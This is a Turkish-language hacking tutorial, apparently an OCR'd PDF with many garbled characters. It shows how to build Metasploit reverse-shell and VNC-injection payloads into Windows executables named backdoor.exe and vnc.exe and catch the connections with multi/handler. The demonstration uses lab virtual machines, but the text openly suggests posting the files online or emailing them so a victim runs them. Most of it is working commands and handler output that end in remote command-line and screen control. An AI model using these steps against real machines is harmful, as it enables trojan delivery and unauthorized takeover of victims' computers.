Payload'u Exe Yapmak ve Sisteme Si1zma

NOT: Basariyla bu yazi tatbik edilmistir.
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Algoritma
Msfpayload araci ile Metasploit framework'te yer alan istedigimiz payload'u exe'lestirebiliriz
(paketleyebiliriz). Boylelikle bu exe dosyalarini internette boy boy sergileyerek birinin
indirmesini ve cift tiklamasini bekleyebiliriz. Fakat boylesi bir senaryoda sizma islemini
gerceklestirebilmek icin saldirgan olarak bizim makinemizin dinleme modunda olmas:
gerekir. Kali'yi etraftaki payload'lara karsi dinleme moduna gecirebilmek icin
exploit/multi/handler adli modiil kullanmlabilir.

1) /shell/reverse_tcp Payload'unu Kullanarak Sizma

Bu payload bize kurbanin komut satirin1 getirecektir. Simdi msfpayload ile reverse_tcp payload'unu
paketleyelim. msfpayload tool'una éncelikle payload'un yolu yazilmistir. Ardindan LHOST ile
saldirganin (kali'nin) IP'si girilmistir, ¢iinkii uzak sistemdeki exe'nin olusturacagi baglantinin bizim
makinemize (Kali'ye) gelmesini istiyoruz. Ardindan girilen X argiimani ile payload'u exe olarak
derle demis olduk. Son olarak > sembolii ile de derlenen payload'un ¢iktisinin backdoor.exe adli
dosyaya yazdirilmasin sagladik.

> msfpayload windows/shell/reverse_tcp LHOST=192.168.2.91 X >
/root/Desktop/backdoor.exe

Payload derlendikten sonra, kurbana yollamadan 6nce Kali'yi ileride gelecek reverse_tcp
baglantilarina kars1 dinleme moduna gecirmemiz gerekmektedir. Bu islem i¢in handler modiiliinii
kullanabiliriz.

msf > use exploit/multi/handler

msf > set PAYLOAD windows/shell/reverse_tcp
msf > set LPORT 4444

msf > set LHOST KALI_IP

msf > exploit

Output:
[*] Started bind handler
[*] Starting the payload handler...

Gortldiigii tizere handler modiiliinii olas1 gelebilecek reverse_tcp payload'larina karsin ayarlamis
olduk. Simdi msfpayload ile derledigimiz payload'u kurbana email ile génderelim ve kurbanin
backdoor.exe'yi indirip ¢ift tikladigim varsayalim. Bu durumda ¢aligtirdigimiz handler'imiz ayarlari
geregi reverse_tcp payload'unun baglantisini gérecektir ve kurbanin komut satirini agagidaki gibi
konsolumuza getirecektir:



C:\Documents and Settings\pentest\Desktop>

Goriildiigii tizere hedef sistemin komut satir1 komut satirimiza gelmis bulunmaktadir. Artik
diledigimiz kodu hedef sistemde calistirabiliriz.

C:\Documents and Settings\pentest\Desktop> dir

Output:
05.03.2016  22:30 73.802 backdoor.exe
24.01.2016 16:30 O bismillah.txt
22.01.2016 13:10 0 hacked.txt
24.01.2016 16:30 0 hacked2.txt
10.02.2016  21:01 103.72 msf.rtf

[...]

2) /vncinject/bind_tcp Payload'unu Kullanarak Sizma

Bu payload uzak sistemin canl ekran goriintiisiinii ekranimiza getirmeye yaramaktadir. Oncelikle
payload'umuzu paketleyelim. VNC Server ve Client 3333 nolu portu isgal ederler. Dolayisiyla uzak
sistemde payload'un tetiklenmesiyle olusacak VINC baglantisinin 3333 nolu porttan ¢ikis
yapabilmesi icin payload'un LPORT'una 3333 numarasi girilir. X ile de payload'u exe olarak
derletiriz.

> msfpayload windows/vncinject/bind_tcp LPORT=3333 X > /root/Desktop/vnc.exe

Payload'u paketledikten sonra saldirgan olarak biz Kali'de VNC baglantilarim yakalayabilmek icin
handler'imizin dinleyecegi portu 3333 olarak belirleriz. Ardindan 6nceki payload'dan farkli olarak
bu seferkinde VINC server'a baglanabilmek icin kurbanin IP'sini handler'a girmemiz gerekmektedir.

msf > use exploit/multi/handler

msf > set PAYLOAD windows/vncinject/bind_tcp
msf > set LPORT 3333

msf > set RHOST XP_IP

msf > exploit

Output:
[*] Started bind handler
[*] Starting the payload handler...

[...]
Kurban WinXP'den vnc.exe'ye cift tikladig1 anda 3333 nolu portunda VNC server'i baglatacaktir.

Bu sayede Kali ise multi/handler' ile aninda kurbanin VNC server'ina baglant1 kuracaktir ve
kurbanin goriintiisiinii VNC istemcisi ile alacaktir.
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Yukaridaki resimin sol tarafinda Windows XP (Dandik) Sanal Makinesini sag tarafinda ise Kali
Linux (En Eski) Sanal Makinesini gérmektesiniz. Kali Sanal Makinesinde dikkat ederseniz bir
VNC ekrani gelmistir. O ekran igerisinde yapilacak herbir hareket soldaki Windows XP'de de
cereyan edecektir. Boylece sizma islemini kusursuzca tamamlamis bulunmaktayiz, elhamdullillah.

NOT: Mavi DOS penceresi VNC baglantis1 baglarken agilmaktadir. Fakat kapatildig: takdirde VNC
baglantisi sorunsuz yoluna devam edebilmektedir.




